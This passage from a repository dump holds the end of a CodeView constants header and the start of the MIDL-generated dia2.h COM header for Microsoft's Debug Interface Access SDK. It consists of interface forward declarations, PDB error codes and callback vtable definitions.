// The original coroutine function CV_COROUTINEKIND_INIT, // Initialization function, sets up the coroutine frame CV_COROUTINEKIND_RESUME, // Resume function, contains the coroutine body code CV_COROUTINEKIND_DESTROY // Destroy function, tears down the coroutine frame } CV_CoroutineKind_e; typedef enum CV_AssociationKind_e { CV_ASSOCIATIONKIND_NONE, // No associated symbol CV_ASSOCIATIONKIND_COROUTINE // Associated symbol is the primary coroutine function } CV_AssociationKind_e; #endif ================================================ FILE: DIA/inc/msdia/include/dia2.h ================================================ /* this ALWAYS GENERATED file contains the definitions for the interfaces */ /* File created by MIDL compiler version 8.01.0626 */ /* @@MIDL_FILE_HEADING( ) */ #pragma warning( disable: 4049 ) /* more than 64k source lines */ /* verify that the version is high enough to compile this file*/ #ifndef __REQUIRED_RPCNDR_H_VERSION__ #define __REQUIRED_RPCNDR_H_VERSION__ 475 #endif /* verify that the version is high enough to compile this file*/ #ifndef __REQUIRED_RPCSAL_H_VERSION__ #define __REQUIRED_RPCSAL_H_VERSION__ 100 #endif #include "rpc.h" #include "rpcndr.h" #ifndef __RPCNDR_H_VERSION__ #error this stub requires an updated version of #endif /* __RPCNDR_H_VERSION__ */ #ifndef COM_NO_WINDOWS_H #include "windows.h" #include "ole2.h" #endif /*COM_NO_WINDOWS_H*/ #ifndef __dia2_h__ #define __dia2_h__ #if defined(_MSC_VER) && (_MSC_VER >= 1020) #pragma once #endif /* Forward Declarations */ #ifndef __IDiaLoadCallback_FWD_DEFINED__ #define __IDiaLoadCallback_FWD_DEFINED__ typedef interface IDiaLoadCallback IDiaLoadCallback; #endif /* __IDiaLoadCallback_FWD_DEFINED__ */ #ifndef __IDiaLoadCallback2_FWD_DEFINED__ #define __IDiaLoadCallback2_FWD_DEFINED__ typedef interface IDiaLoadCallback2 IDiaLoadCallback2; #endif /* __IDiaLoadCallback2_FWD_DEFINED__ */ #ifndef __IDiaReadExeAtOffsetCallback_FWD_DEFINED__ #define __IDiaReadExeAtOffsetCallback_FWD_DEFINED__ typedef interface IDiaReadExeAtOffsetCallback IDiaReadExeAtOffsetCallback; #endif /* __IDiaReadExeAtOffsetCallback_FWD_DEFINED__ */ #ifndef __IDiaReadExeAtRVACallback_FWD_DEFINED__ #define __IDiaReadExeAtRVACallback_FWD_DEFINED__ typedef interface IDiaReadExeAtRVACallback IDiaReadExeAtRVACallback; #endif /* __IDiaReadExeAtRVACallback_FWD_DEFINED__ */ #ifndef __IDiaDataSource_FWD_DEFINED__ #define __IDiaDataSource_FWD_DEFINED__ typedef interface IDiaDataSource IDiaDataSource; #endif /* __IDiaDataSource_FWD_DEFINED__ */ #ifndef __IDiaEnumSymbols_FWD_DEFINED__ #define __IDiaEnumSymbols_FWD_DEFINED__ typedef interface IDiaEnumSymbols IDiaEnumSymbols; #endif /* __IDiaEnumSymbols_FWD_DEFINED__ */ #ifndef __IDiaEnumSymbolsByAddr_FWD_DEFINED__ #define __IDiaEnumSymbolsByAddr_FWD_DEFINED__ typedef interface IDiaEnumSymbolsByAddr IDiaEnumSymbolsByAddr; #endif /* __IDiaEnumSymbolsByAddr_FWD_DEFINED__ */ #ifndef __IDiaEnumSymbolsByAddr2_FWD_DEFINED__ #define __IDiaEnumSymbolsByAddr2_FWD_DEFINED__ typedef interface IDiaEnumSymbolsByAddr2 IDiaEnumSymbolsByAddr2; #endif /* __IDiaEnumSymbolsByAddr2_FWD_DEFINED__ */ #ifndef __IDiaEnumSourceFiles_FWD_DEFINED__ #define __IDiaEnumSourceFiles_FWD_DEFINED__ typedef interface IDiaEnumSourceFiles IDiaEnumSourceFiles; #endif /* __IDiaEnumSourceFiles_FWD_DEFINED__ */ #ifndef __IDiaEnumInputAssemblyFiles_FWD_DEFINED__ #define __IDiaEnumInputAssemblyFiles_FWD_DEFINED__ typedef interface IDiaEnumInputAssemblyFiles IDiaEnumInputAssemblyFiles; #endif /* __IDiaEnumInputAssemblyFiles_FWD_DEFINED__ */ #ifndef __IDiaEnumLineNumbers_FWD_DEFINED__ #define __IDiaEnumLineNumbers_FWD_DEFINED__ typedef interface IDiaEnumLineNumbers IDiaEnumLineNumbers; #endif /* __IDiaEnumLineNumbers_FWD_DEFINED__ */ #ifndef __IDiaEnumInjectedSources_FWD_DEFINED__ #define __IDiaEnumInjectedSources_FWD_DEFINED__ typedef interface IDiaEnumInjectedSources IDiaEnumInjectedSources; #endif /* __IDiaEnumInjectedSources_FWD_DEFINED__ */ #ifndef __IDiaEnumSegments_FWD_DEFINED__ #define __IDiaEnumSegments_FWD_DEFINED__ typedef interface IDiaEnumSegments IDiaEnumSegments; #endif /* __IDiaEnumSegments_FWD_DEFINED__ */ #ifndef __IDiaEnumSectionContribs_FWD_DEFINED__ #define __IDiaEnumSectionContribs_FWD_DEFINED__ typedef interface IDiaEnumSectionContribs IDiaEnumSectionContribs; #endif /* __IDiaEnumSectionContribs_FWD_DEFINED__ */ #ifndef __IDiaEnumFrameData_FWD_DEFINED__ #define __IDiaEnumFrameData_FWD_DEFINED__ typedef interface IDiaEnumFrameData IDiaEnumFrameData; #endif /* __IDiaEnumFrameData_FWD_DEFINED__ */ #ifndef __IDiaEnumDebugStreamData_FWD_DEFINED__ #define __IDiaEnumDebugStreamData_FWD_DEFINED__ typedef interface IDiaEnumDebugStreamData IDiaEnumDebugStreamData; #endif /* __IDiaEnumDebugStreamData_FWD_DEFINED__ */ #ifndef __IDiaEnumDebugStreams_FWD_DEFINED__ #define __IDiaEnumDebugStreams_FWD_DEFINED__ typedef interface IDiaEnumDebugStreams IDiaEnumDebugStreams; #endif /* __IDiaEnumDebugStreams_FWD_DEFINED__ */ #ifndef __IDiaAddressMap_FWD_DEFINED__ #define __IDiaAddressMap_FWD_DEFINED__ typedef interface IDiaAddressMap IDiaAddressMap; #endif /* __IDiaAddressMap_FWD_DEFINED__ */ #ifndef __IDiaSession_FWD_DEFINED__ #define __IDiaSession_FWD_DEFINED__ typedef interface IDiaSession IDiaSession; #endif /* __IDiaSession_FWD_DEFINED__ */ #ifndef __IDiaSymbol_FWD_DEFINED__ #define __IDiaSymbol_FWD_DEFINED__ typedef interface IDiaSymbol IDiaSymbol; #endif /* __IDiaSymbol_FWD_DEFINED__ */ #ifndef __IDiaSymbol2_FWD_DEFINED__ #define __IDiaSymbol2_FWD_DEFINED__ typedef interface IDiaSymbol2 IDiaSymbol2; #endif /* __IDiaSymbol2_FWD_DEFINED__ */ #ifndef __IDiaSymbol3_FWD_DEFINED__ #define __IDiaSymbol3_FWD_DEFINED__ typedef interface IDiaSymbol3 IDiaSymbol3; #endif /* __IDiaSymbol3_FWD_DEFINED__ */ #ifndef __IDiaSymbol4_FWD_DEFINED__ #define __IDiaSymbol4_FWD_DEFINED__ typedef interface IDiaSymbol4 IDiaSymbol4; #endif /* __IDiaSymbol4_FWD_DEFINED__ */ #ifndef __IDiaSymbol5_FWD_DEFINED__ #define __IDiaSymbol5_FWD_DEFINED__ typedef interface IDiaSymbol5 IDiaSymbol5; #endif /* __IDiaSymbol5_FWD_DEFINED__ */ #ifndef __IDiaSymbol6_FWD_DEFINED__ #define __IDiaSymbol6_FWD_DEFINED__ typedef interface IDiaSymbol6 IDiaSymbol6; #endif /* __IDiaSymbol6_FWD_DEFINED__ */ #ifndef __IDiaSymbol7_FWD_DEFINED__ #define __IDiaSymbol7_FWD_DEFINED__ typedef interface IDiaSymbol7 IDiaSymbol7; #endif /* __IDiaSymbol7_FWD_DEFINED__ */ #ifndef __IDiaSymbol8_FWD_DEFINED__ #define __IDiaSymbol8_FWD_DEFINED__ typedef interface IDiaSymbol8 IDiaSymbol8; #endif /* __IDiaSymbol8_FWD_DEFINED__ */ #ifndef __IDiaSymbol9_FWD_DEFINED__ #define __IDiaSymbol9_FWD_DEFINED__ typedef interface IDiaSymbol9 IDiaSymbol9; #endif /* __IDiaSymbol9_FWD_DEFINED__ */ #ifndef __IDiaSymbol10_FWD_DEFINED__ #define __IDiaSymbol10_FWD_DEFINED__ typedef interface IDiaSymbol10 IDiaSymbol10; #endif /* __IDiaSymbol10_FWD_DEFINED__ */ #ifndef __IDiaSourceFile_FWD_DEFINED__ #define __IDiaSourceFile_FWD_DEFINED__ typedef interface IDiaSourceFile IDiaSourceFile; #endif /* __IDiaSourceFile_FWD_DEFINED__ */ #ifndef __IDiaInputAssemblyFile_FWD_DEFINED__ #define __IDiaInputAssemblyFile_FWD_DEFINED__ typedef interface IDiaInputAssemblyFile IDiaInputAssemblyFile; #endif /* __IDiaInputAssemblyFile_FWD_DEFINED__ */ #ifndef __IDiaLineNumber_FWD_DEFINED__ #define __IDiaLineNumber_FWD_DEFINED__ typedef interface IDiaLineNumber IDiaLineNumber; #endif /* __IDiaLineNumber_FWD_DEFINED__ */ #ifndef __IDiaSectionContrib_FWD_DEFINED__ #define __IDiaSectionContrib_FWD_DEFINED__ typedef interface IDiaSectionContrib IDiaSectionContrib; #endif /* __IDiaSectionContrib_FWD_DEFINED__ */ #ifndef __IDiaSegment_FWD_DEFINED__ #define __IDiaSegment_FWD_DEFINED__ typedef interface IDiaSegment IDiaSegment; #endif /* __IDiaSegment_FWD_DEFINED__ */ #ifndef __IDiaInjectedSource_FWD_DEFINED__ #define __IDiaInjectedSource_FWD_DEFINED__ typedef interface IDiaInjectedSource IDiaInjectedSource; #endif /* __IDiaInjectedSource_FWD_DEFINED__ */ #ifndef __IDiaStackWalkFrame_FWD_DEFINED__ #define __IDiaStackWalkFrame_FWD_DEFINED__ typedef interface IDiaStackWalkFrame IDiaStackWalkFrame; #endif /* __IDiaStackWalkFrame_FWD_DEFINED__ */ #ifndef __IDiaFrameData_FWD_DEFINED__ #define __IDiaFrameData_FWD_DEFINED__ typedef interface IDiaFrameData IDiaFrameData; #endif /* __IDiaFrameData_FWD_DEFINED__ */ #ifndef __IDiaImageData_FWD_DEFINED__ #define __IDiaImageData_FWD_DEFINED__ typedef interface IDiaImageData IDiaImageData; #endif /* __IDiaImageData_FWD_DEFINED__ */ #ifndef __IDiaTable_FWD_DEFINED__ #define __IDiaTable_FWD_DEFINED__ typedef interface IDiaTable IDiaTable; #endif /* __IDiaTable_FWD_DEFINED__ */ #ifndef __IDiaEnumTables_FWD_DEFINED__ #define __IDiaEnumTables_FWD_DEFINED__ typedef interface IDiaEnumTables IDiaEnumTables; #endif /* __IDiaEnumTables_FWD_DEFINED__ */ #ifndef __DiaSource_FWD_DEFINED__ #define __DiaSource_FWD_DEFINED__ #ifdef __cplusplus typedef class DiaSource DiaSource; #else typedef struct DiaSource DiaSource; #endif /* __cplusplus */ #endif /* __DiaSource_FWD_DEFINED__ */ #ifndef __DiaSourceAlt_FWD_DEFINED__ #define __DiaSourceAlt_FWD_DEFINED__ #ifdef __cplusplus typedef class DiaSourceAlt DiaSourceAlt; #else typedef struct DiaSourceAlt DiaSourceAlt; #endif /* __cplusplus */ #endif /* __DiaSourceAlt_FWD_DEFINED__ */ #ifndef __DiaStackWalker_FWD_DEFINED__ #define __DiaStackWalker_FWD_DEFINED__ #ifdef __cplusplus typedef class DiaStackWalker DiaStackWalker; #else typedef struct DiaStackWalker DiaStackWalker; #endif /* __cplusplus */ #endif /* __DiaStackWalker_FWD_DEFINED__ */ #ifndef __IDiaSectionContrib_FWD_DEFINED__ #define __IDiaSectionContrib_FWD_DEFINED__ typedef interface IDiaSectionContrib IDiaSectionContrib; #endif /* __IDiaSectionContrib_FWD_DEFINED__ */ #ifndef __IDiaEnumSectionContribs_FWD_DEFINED__ #define __IDiaEnumSectionContribs_FWD_DEFINED__ typedef interface IDiaEnumSectionContribs IDiaEnumSectionContribs; #endif /* __IDiaEnumSectionContribs_FWD_DEFINED__ */ #ifndef __IDiaSymbol_FWD_DEFINED__ #define __IDiaSymbol_FWD_DEFINED__ typedef interface IDiaSymbol IDiaSymbol; #endif /* __IDiaSymbol_FWD_DEFINED__ */ #ifndef __IDiaSymbol2_FWD_DEFINED__ #define __IDiaSymbol2_FWD_DEFINED__ typedef interface IDiaSymbol2 IDiaSymbol2; #endif /* __IDiaSymbol2_FWD_DEFINED__ */ #ifndef __IDiaSymbol3_FWD_DEFINED__ #define __IDiaSymbol3_FWD_DEFINED__ typedef interface IDiaSymbol3 IDiaSymbol3; #endif /* __IDiaSymbol3_FWD_DEFINED__ */ #ifndef __IDiaSymbol4_FWD_DEFINED__ #define __IDiaSymbol4_FWD_DEFINED__ typedef interface IDiaSymbol4 IDiaSymbol4; #endif /* __IDiaSymbol4_FWD_DEFINED__ */ #ifndef __IDiaSymbol5_FWD_DEFINED__ #define __IDiaSymbol5_FWD_DEFINED__ typedef interface IDiaSymbol5 IDiaSymbol5; #endif /* __IDiaSymbol5_FWD_DEFINED__ */ #ifndef __IDiaSymbol6_FWD_DEFINED__ #define __IDiaSymbol6_FWD_DEFINED__ typedef interface IDiaSymbol6 IDiaSymbol6; #endif /* __IDiaSymbol6_FWD_DEFINED__ */ #ifndef __IDiaSymbol7_FWD_DEFINED__ #define __IDiaSymbol7_FWD_DEFINED__ typedef interface IDiaSymbol7 IDiaSymbol7; #endif /* __IDiaSymbol7_FWD_DEFINED__ */ #ifndef __IDiaSymbol8_FWD_DEFINED__ #define __IDiaSymbol8_FWD_DEFINED__ typedef interface IDiaSymbol8 IDiaSymbol8; #endif /* __IDiaSymbol8_FWD_DEFINED__ */ #ifndef __IDiaSymbol9_FWD_DEFINED__ #define __IDiaSymbol9_FWD_DEFINED__ typedef interface IDiaSymbol9 IDiaSymbol9; #endif /* __IDiaSymbol9_FWD_DEFINED__ */ #ifndef __IDiaSymbol10_FWD_DEFINED__ #define __IDiaSymbol10_FWD_DEFINED__ typedef interface IDiaSymbol10 IDiaSymbol10; #endif /* __IDiaSymbol10_FWD_DEFINED__ */ #ifndef __IDiaEnumSymbolsByAddr_FWD_DEFINED__ #define __IDiaEnumSymbolsByAddr_FWD_DEFINED__ typedef interface IDiaEnumSymbolsByAddr IDiaEnumSymbolsByAddr; #endif /* __IDiaEnumSymbolsByAddr_FWD_DEFINED__ */ #ifndef __IDiaEnumSymbolsByAddr2_FWD_DEFINED__ #define __IDiaEnumSymbolsByAddr2_FWD_DEFINED__ typedef interface IDiaEnumSymbolsByAddr2 IDiaEnumSymbolsByAddr2; #endif /* __IDiaEnumSymbolsByAddr2_FWD_DEFINED__ */ #ifndef __IDiaPropertyStorage_FWD_DEFINED__ #define __IDiaPropertyStorage_FWD_DEFINED__ typedef interface IDiaPropertyStorage IDiaPropertyStorage; #endif /* __IDiaPropertyStorage_FWD_DEFINED__ */ #ifndef __IDiaStackFrame_FWD_DEFINED__ #define __IDiaStackFrame_FWD_DEFINED__ typedef interface IDiaStackFrame IDiaStackFrame; #endif /* __IDiaStackFrame_FWD_DEFINED__ */ #ifndef __IDiaEnumStackFrames_FWD_DEFINED__ #define __IDiaEnumStackFrames_FWD_DEFINED__ typedef interface IDiaEnumStackFrames IDiaEnumStackFrames; #endif /* __IDiaEnumStackFrames_FWD_DEFINED__ */ #ifndef __IDiaStackWalkHelper_FWD_DEFINED__ #define __IDiaStackWalkHelper_FWD_DEFINED__ typedef interface IDiaStackWalkHelper IDiaStackWalkHelper; #endif /* __IDiaStackWalkHelper_FWD_DEFINED__ */ #ifndef __IDiaStackWalker_FWD_DEFINED__ #define __IDiaStackWalker_FWD_DEFINED__ typedef interface IDiaStackWalker IDiaStackWalker; #endif /* __IDiaStackWalker_FWD_DEFINED__ */ #ifndef __IDiaStackWalkHelper2_FWD_DEFINED__ #define __IDiaStackWalkHelper2_FWD_DEFINED__ typedef interface IDiaStackWalkHelper2 IDiaStackWalkHelper2; #endif /* __IDiaStackWalkHelper2_FWD_DEFINED__ */ #ifndef __IDiaStackWalker2_FWD_DEFINED__ #define __IDiaStackWalker2_FWD_DEFINED__ typedef interface IDiaStackWalker2 IDiaStackWalker2; #endif /* __IDiaStackWalker2_FWD_DEFINED__ */ /* header files for imported files */ #include "objidl.h" #include "oaidl.h" #include "propidl.h" #include "cvconst.h" #ifdef __cplusplus extern "C"{ #endif /* interface __MIDL_itf_dia2_0000_0000 */ /* [local] */ enum NameSearchOptions { nsNone = 0, nsfCaseSensitive = 0x1, nsfCaseInsensitive = 0x2, nsfFNameExt = 0x4, nsfRegularExpression = 0x8, nsfUndecoratedName = 0x10, nsCaseSensitive = nsfCaseSensitive, nsCaseInsensitive = nsfCaseInsensitive, nsFNameExt = ( nsfCaseInsensitive | nsfFNameExt ) , nsRegularExpression = ( nsfRegularExpression | nsfCaseSensitive ) , nsCaseInRegularExpression = ( nsfRegularExpression | nsfCaseInsensitive ) } ; enum __MIDL___MIDL_itf_dia2_0000_0000_0001 { E_PDB_OK = ( HRESULT )(( ( ( ( unsigned long )1 << 31 ) | ( ( unsigned long )( LONG )0x6d << 16 ) ) | ( unsigned long )1 ) ), E_PDB_USAGE = ( E_PDB_OK + 1 ) , E_PDB_OUT_OF_MEMORY = ( E_PDB_USAGE + 1 ) , E_PDB_FILE_SYSTEM = ( E_PDB_OUT_OF_MEMORY + 1 ) , E_PDB_NOT_FOUND = ( E_PDB_FILE_SYSTEM + 1 ) , E_PDB_INVALID_SIG = ( E_PDB_NOT_FOUND + 1 ) , E_PDB_INVALID_AGE = ( E_PDB_INVALID_SIG + 1 ) , E_PDB_PRECOMP_REQUIRED = ( E_PDB_INVALID_AGE + 1 ) , E_PDB_OUT_OF_TI = ( E_PDB_PRECOMP_REQUIRED + 1 ) , E_PDB_NOT_IMPLEMENTED = ( E_PDB_OUT_OF_TI + 1 ) , E_PDB_V1_PDB = ( E_PDB_NOT_IMPLEMENTED + 1 ) , E_PDB_FORMAT = ( E_PDB_V1_PDB + 1 ) , E_PDB_LIMIT = ( E_PDB_FORMAT + 1 ) , E_PDB_CORRUPT = ( E_PDB_LIMIT + 1 ) , E_PDB_TI16 = ( E_PDB_CORRUPT + 1 ) , E_PDB_ACCESS_DENIED = ( E_PDB_TI16 + 1 ) , E_PDB_ILLEGAL_TYPE_EDIT = ( E_PDB_ACCESS_DENIED + 1 ) , E_PDB_INVALID_EXECUTABLE = ( E_PDB_ILLEGAL_TYPE_EDIT + 1 ) , E_PDB_DBG_NOT_FOUND = ( E_PDB_INVALID_EXECUTABLE + 1 ) , E_PDB_NO_DEBUG_INFO = ( E_PDB_DBG_NOT_FOUND + 1 ) , E_PDB_INVALID_EXE_TIMESTAMP = ( E_PDB_NO_DEBUG_INFO + 1 ) , E_PDB_RESERVED = ( E_PDB_INVALID_EXE_TIMESTAMP + 1 ) , E_PDB_DEBUG_INFO_NOT_IN_PDB = ( E_PDB_RESERVED + 1 ) , E_PDB_SYMSRV_BAD_CACHE_PATH = ( E_PDB_DEBUG_INFO_NOT_IN_PDB + 1 ) , E_PDB_SYMSRV_CACHE_FULL = ( E_PDB_SYMSRV_BAD_CACHE_PATH + 1 ) , E_PDB_OBJECT_DISPOSED = ( E_PDB_SYMSRV_CACHE_FULL + 1 ) , E_PDB_MAX = ( E_PDB_OBJECT_DISPOSED + 1 ) } ; typedef void ( __cdecl *PfnPDBDebugDirV )( BOOL __MIDL____MIDL_itf_dia2_0000_00000000, void *__MIDL____MIDL_itf_dia2_0000_00000001); extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0000_v0_0_c_ifspec; extern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0000_v0_0_s_ifspec; #ifndef __IDiaLoadCallback_INTERFACE_DEFINED__ #define __IDiaLoadCallback_INTERFACE_DEFINED__ /* interface IDiaLoadCallback */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaLoadCallback; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("C32ADB82-73F4-421b-95D5-A4706EDF5DBE") IDiaLoadCallback : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE NotifyDebugDir( /* [in] */ BOOL fExecutable, /* [in] */ DWORD cbData, /* [size_is][in] */ BYTE *pbData) = 0; virtual HRESULT STDMETHODCALLTYPE NotifyOpenDBG( /* [in] */ LPCOLESTR dbgPath, /* [in] */ HRESULT resultCode) = 0; virtual HRESULT STDMETHODCALLTYPE NotifyOpenPDB( /* [in] */ LPCOLESTR pdbPath, /* [in] */ HRESULT resultCode) = 0; virtual HRESULT STDMETHODCALLTYPE RestrictRegistryAccess( void) = 0; virtual HRESULT STDMETHODCALLTYPE RestrictSymbolServerAccess( void) = 0; }; #else /* C style interface */ typedef struct IDiaLoadCallbackVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaLoadCallback * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaLoadCallback * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaLoadCallback * This); HRESULT ( STDMETHODCALLTYPE *NotifyDebugDir )( IDiaLoadCallback * This, /* [in] */ BOOL fExecutable, /* [in] */ DWORD cbData, /* [size_is][in] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *NotifyOpenDBG )( IDiaLoadCallback * This, /* [in] */ LPCOLESTR dbgPath, /* [in] */ HRESULT resultCode); HRESULT ( STDMETHODCALLTYPE *NotifyOpenPDB )( IDiaLoadCallback * This, /* [in] */ LPCOLESTR pdbPath, /* [in] */ HRESULT resultCode); HRESULT ( STDMETHODCALLTYPE *RestrictRegistryAccess )( IDiaLoadCallback * This); HRESULT ( STDMETHODCALLTYPE *RestrictSymbolServerAccess )( IDiaLoadCallback * This); END_INTERFACE } IDiaLoadCallbackVtbl; interface IDiaLoadCallback { CONST_VTBL struct IDiaLoadCallbackVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaLoadCallback_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaLoadCallback_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaLoadCallback_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaLoadCallback_NotifyDebugDir(This,fExecutable,cbData,pbData) \ ( (This)->lpVtbl -> NotifyDebugDir(This,fExecutable,cbData,pbData) ) #define IDiaLoadCallback_NotifyOpenDBG(This,dbgPath,resultCode) \ ( (This)->lpVtbl -> NotifyOpenDBG(This,dbgPath,resultCode) ) #define IDiaLoadCallback_NotifyOpenPDB(This,pdbPath,resultCode) \ ( (This)->lpVtbl -> NotifyOpenPDB(This,pdbPath,resultCode) ) #define IDiaLoadCallback_RestrictRegistryAccess(This) \ ( (This)->lpVtbl -> RestrictRegistryAccess(This) ) #define IDiaLoadCallback_RestrictSymbolServerAccess(This) \ ( (This)->lpVtbl -> RestrictSymbolServerAccess(This) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaLoadCallback_INTERFACE_DEFINED__ */ #ifndef __IDiaLoadCallback2_INTERFACE_DEFINED__ #define __IDiaLoadCallback2_INTERFACE_DEFINED__ /* interface IDiaLoadCallback2 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaLoadCallback2; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("4688a074-5a4d-4486-aea8-7b90711d9f7c") IDiaLoadCallback2 : public IDiaLoadCallback { public: virtual HRESULT STDMETHODCALLTYPE RestrictOriginalPathAccess( void) = 0; virtual HRESULT STDMETHODCALLTYPE RestrictReferencePathAccess( void) = 0; virtual HRESULT STDMETHODCALLTYPE RestrictDBGAccess( void) = 0; virtual HRESULT STDMETHODCALLTYPE RestrictSystemRootAccess( void) = 0; }; #else /* C style interface */ typedef struct IDiaLoadCallback2Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaLoadCallback2 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaLoadCallback2 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaLoadCallback2 * This); HRESULT ( STDMETHODCALLTYPE *NotifyDebugDir )( IDiaLoadCallback2 * This, /* [in] */ BOOL fExecutable, /* [in] */ DWORD cbData, /* [size_is][in] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *NotifyOpenDBG )( IDiaLoadCallback2 * This, /* [in] */ LPCOLESTR dbgPath, /* [in] */ HRESULT resultCode); HRESULT ( STDMETHODCALLTYPE *NotifyOpenPDB )( IDiaLoadCallback2 * This, /* [in] */ LPCOLESTR pdbPath, /* [in] */ HRESULT resultCode); HRESULT ( STDMETHODCALLTYPE *RestrictRegistryAccess )( IDiaLoadCallback2 * This); HRESULT ( STDMETHODCALLTYPE *RestrictSymbolServerAccess )( IDiaLoadCallback2 * This); HRESULT ( STDMETHODCALLTYPE *RestrictOriginalPathAccess )( IDiaLoadCallback2 * This); HRESULT ( STDMETHODCALLTYPE *RestrictReferencePathAccess )( IDiaLoadCallback2 * This); HRESULT ( STDMETHODCALLTYPE *RestrictDBGAccess )( IDiaLoadCallback2 * This); HRESULT ( STDMETHODCALLTYPE *RestrictSystemRootAccess )( IDiaLoadCallback2 * This); END_INTERFACE } IDiaLoadCallback2Vtbl; interface IDiaLoadCallback2 { CONST_VTBL struct IDiaLoadCallback2Vtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaLoadCallback2_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaLoadCallback2_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaLoadCallback2_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaLoadCallback2_NotifyDebugDir(This,fExecutable,cbData,pbData) \ ( (This)->lpVtbl -> NotifyDebugDir(This,fExecutable,cbData,pbData) ) #define IDiaLoadCallback2_NotifyOpenDBG(This,dbgPath,resultCode) \ ( (This)->lpVtbl -> NotifyOpenDBG(This,dbgPath,resultCode) ) #define IDiaLoadCallback2_NotifyOpenPDB(This,pdbPath,resultCode) \ ( (This)->lpVtbl -> NotifyOpenPDB(This,pdbPath,resultCode) ) #define IDiaLoadCallback2_RestrictRegistryAccess(This) \ ( (This)->lpVtbl -> RestrictRegistryAccess(This) ) #define IDiaLoadCallback2_RestrictSymbolServerAccess(This) \ ( (This)->lpVtbl -> RestrictSymbolServerAccess(This) ) #define IDiaLoadCallback2_RestrictOriginalPathAccess(This) \ ( (This)->lpVtbl -> RestrictOriginalPathAccess(This) ) #define IDiaLoadCallback2_RestrictReferencePathAccess(This) \ ( (This)->lpVtbl -> RestrictReferencePathAccess(This) ) #define IDiaLoadCallback2_RestrictDBGAccess(This) \ ( (This)->lpVtbl -> RestrictDBGAccess(This) ) #define IDiaLoadCallback2_RestrictSystemRootAccess(This) \ ( (This)->lpVtbl -> RestrictSystemRootAccess(This) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaLoadCallback2_INTERFACE_DEFINED__ */ #ifndef __IDiaReadExeAtOffsetCallback_INTERFACE_DEFINED__ #define __IDiaReadExeAtOffsetCallback_INTERFACE_DEFINED__ /* interface IDiaReadExeAtOffsetCallback */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaReadExeAtOffsetCallback; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("587A461C-B80B-4f54-9194-5032589A6319") IDiaReadExeAtOffsetCallback : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE ReadExecutableAt( /* [in] */ DWORDLONG fileOffset, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData) = 0; }; #else /* C style interface */ typedef struct IDiaReadExeAtOffsetCallbackVtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaReadExeAtOffsetCallback * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaReadExeAtOffsetCallback * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaReadExeAtOffsetCallback * This); HRESULT ( STDMETHODCALLTYPE *ReadExecutableAt )( IDiaReadExeAtOffsetCallback * This, /* [in] */ DWORDLONG fileOffset, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); END_INTERFACE } IDiaReadExeAtOffsetCallbackVtbl; interface IDiaReadExeAtOffsetCallback { CONST_VTBL struct IDiaReadExeAtOffsetCallbackVtbl *lpVtbl; }; #ifdef COBJMACROS #define IDiaReadExeAtOffsetCallback_QueryInterface(This,riid,ppvObject) \ ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) #define IDiaReadExeAtOffsetCallback_AddRef(This) \ ( (This)->lpVtbl -> AddRef(This) ) #define IDiaReadExeAtOffsetCallback_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define IDiaReadExeAtOffsetCallback_ReadExecutableAt(This,fileOffset,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> ReadExecutableAt(This,fileOffset,cbData,pcbData,pbData) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __IDiaReadExeAtOffsetCallback_INTERFACE_DEFINED__ */ #ifndef __IDiaReadExeAtRVACallback_INTERFACE_DEFINED__ #define __IDiaReadExeAtRVACallback_INTERFACE_DEFINED__ /* interface IDiaReadExeAtRVACallback */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaReadExeAtRVACallback; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("8E3F80CA-7517-432a-BA07-285134AAEA8E") IDiaReadExeAtRVACallback : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE ReadExecutableAtRVA( /* [in] */ DWORD 